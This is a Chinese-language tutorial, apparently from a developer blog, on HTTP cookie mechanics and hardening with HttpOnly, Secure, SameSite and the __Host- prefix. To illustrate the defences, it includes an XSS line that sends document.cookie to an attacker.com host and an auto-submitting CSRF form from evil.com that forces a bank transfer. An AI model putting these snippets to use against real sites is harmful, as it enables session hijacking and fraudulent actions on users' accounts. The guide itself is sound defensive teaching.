Cookie 深度技术指南:从原理到安全实践

一、Cookie 是什么

Cookie 是服务器通过 HTTP 响应头写入浏览器的键值对数据,浏览器在后续请求中会自动将其携带回服务器。它是 Web 状态管理的基石,解决了 HTTP 协议无状态的本质问题。

基本数据流:

bash 复制代码
Server  →  Set-Cookie: sessionId=abc123; HttpOnly; Secure   (写入)
Browser →  Cookie: sessionId=abc123                          (发送)

一个 Set-Cookie 响应头只能设置一个键值对,但可以通过多个响应头设置多个 Cookie:

bash 复制代码
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
Set-Cookie: userId=42;        HttpOnly; Secure; SameSite=Lax
Set-Cookie: theme=dark;       SameSite=Lax

浏览器发送请求时,所有匹配的 Cookie 合并在一个 Cookie 请求头中,以 ; 分隔:

bash 复制代码
Cookie: sessionId=abc123; userId=42; theme=dark

重要: 请求中的 Cookie只包含键值对本身HttpOnlySecureSameSite 等安全属性只存在于服务器写入时的 Set-Cookie 响应头中,不会随请求发送


三、Cookie 的完整属性

bash 复制代码
Set-Cookie: sessionId=abc123;
            Domain=example.com;
            Path=/;
            Max-Age=86400;
            Secure;
            HttpOnly;
            SameSite=Lax

核心区别

会话 Cookie 持久化 Cookie
设置方式 不设置 ExpiresMax-Age 设置 ExpiresMax-Age
存储位置 内存 磁盘(SQLite 文件)
生命周期 浏览器关闭即销毁 到达指定时间才过期
典型用途 登录 Session、临时状态 记住登录、用户偏好

设置示例

bash 复制代码
# Session Cookie --- 不设置时间属性
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax

# Persistent Cookie --- 推荐用 Max-Age(单位:秒)
Set-Cookie: rememberMe=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax

# Persistent Cookie --- 用 Expires(绝对时间,受客户端时钟影响)
Set-Cookie: rememberMe=token; Expires=Sun, 23 Jun 2026 00:00:00 GMT; HttpOnly; Secure

Max-AgeExpires 同时存在时,Max-Age 优先级更高。

一个容易踩坑的细节

Chrome / Edge 的"会话恢复"功能(重启后恢复上次标签页)会将内存中的会话 Cookie 一并恢复,导致会话 Cookie 表现得像持久化 Cookie。不能将"浏览器关闭"作为 Session 失效的唯一保障,服务端必须有主动过期机制。


五、作用域 控制

5.1 Domain

设置值 匹配范围
Domain=example.com example.com 及所有子域
不设置 仅精确匹配当前域,不含子域

安全建议: 不要设置过宽的域范围,减少 Cookie 的暴露面。

5.2 Path

bash 复制代码
Set-Cookie: adminToken=xyz; Path=/admin
  • 请求 /admin/users → 携带
  • 请求 /api/data → 不携带

注意: Path 不是安全边界,同域下的 JS 可以绕过 Path 读取 Cookie(除非设置了 HttpOnly)。


六、核心安全属性

6.1 HttpOnly --- 防御 XSS 读取

bash 复制代码
Set-Cookie: sessionId=abc123; HttpOnly

设置后,Cookie 无法被 document.cookie 访问

bash 复制代码
// 攻击者注入的 XSS 脚本

// 没有 HttpOnly:
fetch('https://attacker.com/steal?c=' + document.cookie);
// → sessionId=abc123 被成功窃取

// 有 HttpOnly:
console.log(document.cookie);
// → ""(敏感 Cookie 不可见,攻击失效)

最佳实践: 所有认证相关 Cookie 必须设置 HttpOnly;只有确实需要前端 JS 读取的 Cookie(如某些 CSRF Token 实现)才可省略。


6.2 Secure --- 防御中间人嗅探

bash 复制代码
Set-Cookie: sessionId=abc123; Secure

Cookie 仅在 HTTPS 连接下发送,HTTP 请求中完全不携带。

bash 复制代码
用户连接公共 WiFi(中间人可嗅探流量)
→ 无 Secure:Cookie 明文出现在 HTTP 请求中,被截获,会话被劫持
→ 有 Secure:HTTP 请求不携带 Cookie,无法截获

配套措施: 配合 HSTS 使用,防止浏览器降级到 HTTP:

bash 复制代码
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Secure 只保护传输过程,不保护存储在客户端磁盘上的 Cookie 文件本身。


6.3 SameSite --- 防御 CSRF 攻击

SameSite 控制跨站请求时是否携带 Cookie,是抵御 CSRF 的核心机制。

三种取值

SameSite=Strict

  • 完全禁止跨站携带 Cookie
  • 缺点:用户从外部链接(邮件、搜索引擎)点击进入时,首次请求不携带 Cookie,体验差

SameSite=Lax(现代浏览器默认值,主流推荐)

请求类型 是否携带
顶层 GET 导航(<a href> 点击跳转) ✅ 携带
跨站表单 POST 提交 ❌ 不携带
<img src> 跨站加载 ❌ 不携带
fetch / XHR 跨站请求 ❌ 不携带
<iframe> 嵌入 ❌ 不携带

SameSite=None; Secure

  • 允许所有跨站请求携带 Cookie
  • 必须同时设置 Secure,否则浏览器直接拒绝
  • 适用场景:第三方嵌入组件(支付控件、OAuth 弹窗、跨域 iframe)
CSRF 攻击场景演示
bash 复制代码
<!-- 攻击者页面 evil.com 中的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
Cookie 设置 结果
无 SameSite ✅ 攻击成功,Cookie 被携带,转账执行
SameSite=Lax ❌ 攻击失败,POST 跨站不携带 Cookie
SameSite=Strict ❌ 攻击失败

通过命名前缀强制浏览器校验安全属性,服务器无需额外逻辑:

前缀 强制要求
__Secure- 必须设置 Secure,必须通过 HTTPS 设置
__Host- 必须设置 Secure,不能设置 DomainPath 必须为 /
bash 复制代码
Set-Cookie: __Host-sessionId=abc; Secure; Path=/; HttpOnly; SameSite=Lax

防御 Cookie 投毒攻击(Cookie Tossing):

bash 复制代码
攻击者控制 sub.example.com
→ 设置 Domain=example.com 的 Cookie,覆盖父域的同名 Cookie
→ 使用 __Host- 前缀后,浏览器强制不允许设置 Domain,彻底阻断此攻击

Fetch API

bash 复制代码
// 默认:不携带 Cookie
fetch('/api/data');

// 同源请求携带 Cookie
fetch('/api/data', { credentials: 'same-origin' });

// 跨源请求也携带 Cookie
fetch('https://api.example.com/data', { credentials: 'include' });

XMLHttpRequest

bash 复制代码
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.example.com/data');
xhr.send();

服务端 CORS 必须配合设置

当前端使用 credentials: 'include' 时,服务器响应头必须明确指定:

bash 复制代码
Access-Control-Allow-Origin: https://app.example.com  // 不能是通配符 *
Access-Control-Allow-Credentials: true

若返回 Access-Control-Allow-Origin: *,浏览器会拒绝带凭证的跨域响应。


九、服务端写入的标准范式

标准 HTTP 响应头

bash 复制代码
Set-Cookie: __Host-sessionId=<随机高熵值>;
            Max-Age=3600;
            Path=/;
            HttpOnly;
            Secure;
            SameSite=Lax

C# ASP.NET Core 实现

bash 复制代码
Response.Cookies.Append("__Host-sessionId", sessionToken, new CookieOptions
{
    HttpOnly = true,                    // Prevent XSS cookie theft
    Secure = true,                      // HTTPS only
    SameSite = SameSiteMode.Lax,        // Prevent CSRF
    MaxAge = TimeSpan.FromHours(1),     // Short lifetime for auth tokens
    Path = "/",
    // Do NOT set Domain --- avoids overly broad scope
});

十、安全选择建议

场景 生命周期 安全属性
登录 Session 会话 Cookie HttpOnly; Secure; SameSite=Lax
"记住我" Token 持久化,7~30 天 HttpOnly; Secure; SameSite=Lax + 服务端支持吊销
敏感操作 Token 会话 Cookie HttpOnly; Secure; SameSite=Strict
第三方嵌入场景 按需 Secure; SameSite=None
用户偏好(无敏感信息) 持久化 SameSite=Lax(可不设 HttpOnly)

十一、常见安全漏洞速查

漏洞 根因 修复
会话劫持 缺少 Secure,HTTP 明文传输 强制 HTTPS + Secure
XSS Cookie 窃取 缺少 HttpOnly 设置 HttpOnly
CSRF 攻击 缺少 SameSite 设置 SameSite=LaxStrict
Cookie 投毒 子域可覆盖父域 Cookie 使用 __Host- 前缀
Cookie 固定攻击 登录后未重新生成 Session ID 登录成功后立即写入新值
Session 永不过期 过长的 Max-Age 或依赖浏览器关闭 Max-Age + 服务端主动过期

核心原则: 认证 Cookie 始终同时设置 HttpOnly + Secure + SameSite=Lax,这三者组合可防御绝大多数针对 Cookie 的 Web 攻击。敏感场景优先选用会话 Cookie,避免将高权限凭证持久化到磁盘。

相关推荐
用户7138742290010 小时前
OAuth 2.0 中的state参数:从规范到实践的深度解析
后端
倚栏听风雨10 小时前
StateGraph 详细分析
后端
倚栏听风雨10 小时前
AsyncCommandAction 详细分析
后端
倚栏听风雨10 小时前
Edge 详细分析
后端
倚栏听风雨10 小时前
CompiledGraph 详细分析
后端
装不满的克莱因瓶11 小时前
【项目亮点四】支付订单超时处理与状态补偿机制设计
java·开发语言·后端·rabbitmq·消息中间件
楼田莉子11 小时前
C#学习:分支与循环
服务器·后端·学习·c#
XovH11 小时前
Django 从 0 到 1 打造完整电商平台:商品列表页实现
后端
kunge201311 小时前
Claude Code Hooks 类型与使用指南
人工智能·后端·程序员